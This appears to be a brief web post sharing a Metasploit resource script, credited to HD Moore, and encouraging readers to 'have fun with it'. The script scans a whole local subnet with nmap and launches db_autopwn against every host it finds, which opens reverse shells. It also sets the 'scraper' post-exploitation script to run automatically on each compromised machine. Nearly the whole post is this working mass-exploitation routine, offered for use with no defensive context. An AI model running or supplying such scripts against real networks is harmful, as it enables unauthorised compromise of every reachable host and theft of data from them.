Here’s a handy script I found on the web, written by HD Moore himself. It works like a charm!
$ vim ownitall.rc
db_create /tmp/mynet.db
db_nmap -sS -F -n 192.168.0.0/24 -T5
setg AutoRunScript scraper
db_autopwn -t -e -p -r
$ msfconsole -r ownitall.rc
Have fun with it.



